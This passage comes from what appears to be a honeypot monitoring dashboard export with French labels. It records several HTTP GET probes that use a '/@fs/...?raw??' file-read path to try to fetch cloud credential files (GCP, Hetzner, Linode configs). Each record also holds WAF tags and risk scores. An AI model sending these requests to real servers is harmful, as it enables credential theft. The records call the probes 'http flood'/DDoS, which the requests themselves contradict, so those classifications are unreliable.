"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"pat-0472",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"pat-0472",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/app\/credentials.json",
"request_line": "GET \/@fs\/app\/credentials.json?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "credential file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/app\/credentials.json",
"evidence_snippet": "GET \/@fs\/app\/credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dependency_confusion_probe",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Flood / DDoS
http flood · via HTTP:8080 · (tentative d'exploit) · → /@fs/app/gcp-credentials.json
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1499
TA0001
TA0002
Protocole
GET /@fs/app/gcp-credentials.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950316:lfi-14
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/@fs/app/gcp-credentials.json
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/app/gcp-credentials.json
Pourquoi cette classification : Type « http_flood » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1499
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /@fs/app/gcp-credentials.json?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-14
rce-0
nosqli-3
Payload (extrait)
GET /@fs/app/gcp-credentials.json?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win6
Requête brute (extrait)
GET /@fs/app/gcp-credentials.json?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 3,
"http_path_ext": "json",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "e0fe0bfa5a15d2bb69bdc9b98fe97428f410f5ee",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 232,
"payload_entropy": 5.400382830190032,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.3,
"risk_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "460036a1c2b62a8db4ec08d65a47930653342066",
"event_fingerprint": "67909dc770a6828c132340c90141788d3be4fe0f",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 122,
"precision_signals": [
"MITRE-T1499"
],
"kb_rule_ids": [
"MITRE-T1499"
],
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "1a20e9d0c9092ba71c14416f945ff60f",
"path_pattern_hash": "5d23870dc5fc6197324723fbb5e36072"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/@fs\/app\/gcp-credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win6",
"method": "GET",
"path": "\/@fs\/app\/gcp-credentials.json",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/app\/gcp-credentials.json?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/app\/gcp-credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/app\/gcp-credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win6",
"evidence": {
"method": "GET",
"path": "\/@fs\/app\/gcp-credentials.json",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/app\/gcp-credentials.json?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/app\/gcp-credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/app\/gcp-credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win6",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1499"
],
"mitre": "T1499",
"threat_family": [
"ddos"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2fc51f081c4a278c89bfd30e574d82c8d6db5149",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/app\/gcp-credentials.json",
"request_line": "GET \/@fs\/app\/gcp-credentials.json?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/app\/gcp-credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win6",
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/app\/gcp-credentials.json",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1499 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1499"
],
"tags_summary_labels_fr": [
"MITRE-T1499"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1499",
"mitre_technique": "T1499",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/app\/gcp-credentials.json",
"request_line": "GET \/@fs\/app\/gcp-credentials.json?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/app\/gcp-credentials.json",
"evidence_snippet": "GET \/@fs\/app\/gcp-credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win6",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dependency_confusion_probe",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Flood / DDoS
http flood · via HTTP:8080 · (tentative d'exploit) · → /@fs/root/.config/hcloud/cli.toml
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1499
TA0001
TA0002
Protocole
GET /@fs/root/.config/hcloud/cli.toml UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950316:lfi-14
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/@fs/root/.config/hcloud/cli.toml
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/root/.config/hcloud/cli.toml
Pourquoi cette classification : Type « http_flood » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1499
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /@fs/root/.config/hcloud/cli.toml?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-14
rce-0
nosqli-3
Payload (extrait)
GET /@fs/root/.config/hcloud/cli.toml?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0;
Requête brute (extrait)
GET /@fs/root/.config/hcloud/cli.toml?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 5,
"http_path_ext": "toml",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "8b55a2116f6c09d6a9107fc69d28fd0e182282da",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 236,
"payload_entropy": 5.3736838413091705,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.3,
"risk_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "460036a1c2b62a8db4ec08d65a47930653342066",
"event_fingerprint": "aca7737a14740ed429701891acc94a9223fda983",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 122,
"precision_signals": [
"MITRE-T1499"
],
"kb_rule_ids": [
"MITRE-T1499"
],
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "0a780d63f59bd3de11192246baada2d9",
"path_pattern_hash": "69f53f9b1b7563d912d283fbdef2f334"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/@fs\/root\/.config\/hcloud\/cli.toml?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; ",
"method": "GET",
"path": "\/@fs\/root\/.config\/hcloud\/cli.toml",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/root\/.config\/hcloud\/cli.toml?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/root\/.config\/hcloud\/cli.toml?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/root\/.config\/hcloud\/cli.toml?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0;",
"evidence": {
"method": "GET",
"path": "\/@fs\/root\/.config\/hcloud\/cli.toml",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/root\/.config\/hcloud\/cli.toml?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/root\/.config\/hcloud\/cli.toml?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/root\/.config\/hcloud\/cli.toml?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0;",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1499"
],
"mitre": "T1499",
"threat_family": [
"ddos"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7014c41b2c2fbf9d5607f6d3299d2abc282119ef",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/root\/.config\/hcloud\/cli.toml",
"request_line": "GET \/@fs\/root\/.config\/hcloud\/cli.toml?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/root\/.config\/hcloud\/cli.toml?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0;",
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/root\/.config\/hcloud\/cli.toml",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1499 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1499"
],
"tags_summary_labels_fr": [
"MITRE-T1499"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1499",
"mitre_technique": "T1499",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/root\/.config\/hcloud\/cli.toml",
"request_line": "GET \/@fs\/root\/.config\/hcloud\/cli.toml?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/root\/.config\/hcloud\/cli.toml",
"evidence_snippet": "GET \/@fs\/root\/.config\/hcloud\/cli.toml?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0;",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dependency_confusion_probe",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Flood / DDoS
http flood · via HTTP:8080 · (tentative d'exploit) · → /@fs/root/.config/linode-cli
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1499
TA0001
TA0002
Protocole
GET /@fs/root/.config/linode-cli UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950316:lfi-14
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/@fs/root/.config/linode-cli
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/root/.config/linode-cli
Pourquoi cette classification : Type « http_flood » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1499
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /@fs/root/.config/linode-cli?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-14
rce-0
nosqli-3
Payload (extrait)
GET /@fs/root/.config/linode-cli?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64
Requête brute (extrait)
GET /@fs/root/.config/linode-cli?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 4,
"http_path_ext": "config\/linode-cli",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "96b668398912ab6f4ae69fc9656734abb02c4865",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 231,
"payload_entropy": 5.370337463854401,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.3,
"risk_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "460036a1c2b62a8db4ec08d65a47930653342066",
"event_fingerprint": "d93e0647bfcf8e49f21c571d81b9957b106fb200",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 122,
"precision_signals": [
